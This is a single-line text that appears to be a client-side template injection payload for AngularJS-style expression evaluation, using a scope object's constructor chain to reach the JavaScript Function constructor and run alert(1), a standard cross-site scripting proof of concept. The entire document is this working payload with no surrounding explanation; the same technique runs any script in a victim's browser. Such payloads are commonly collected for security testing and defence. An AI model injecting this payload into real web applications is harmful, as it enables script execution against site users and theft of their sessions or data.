{{_c.constructor('alert(1)')()}}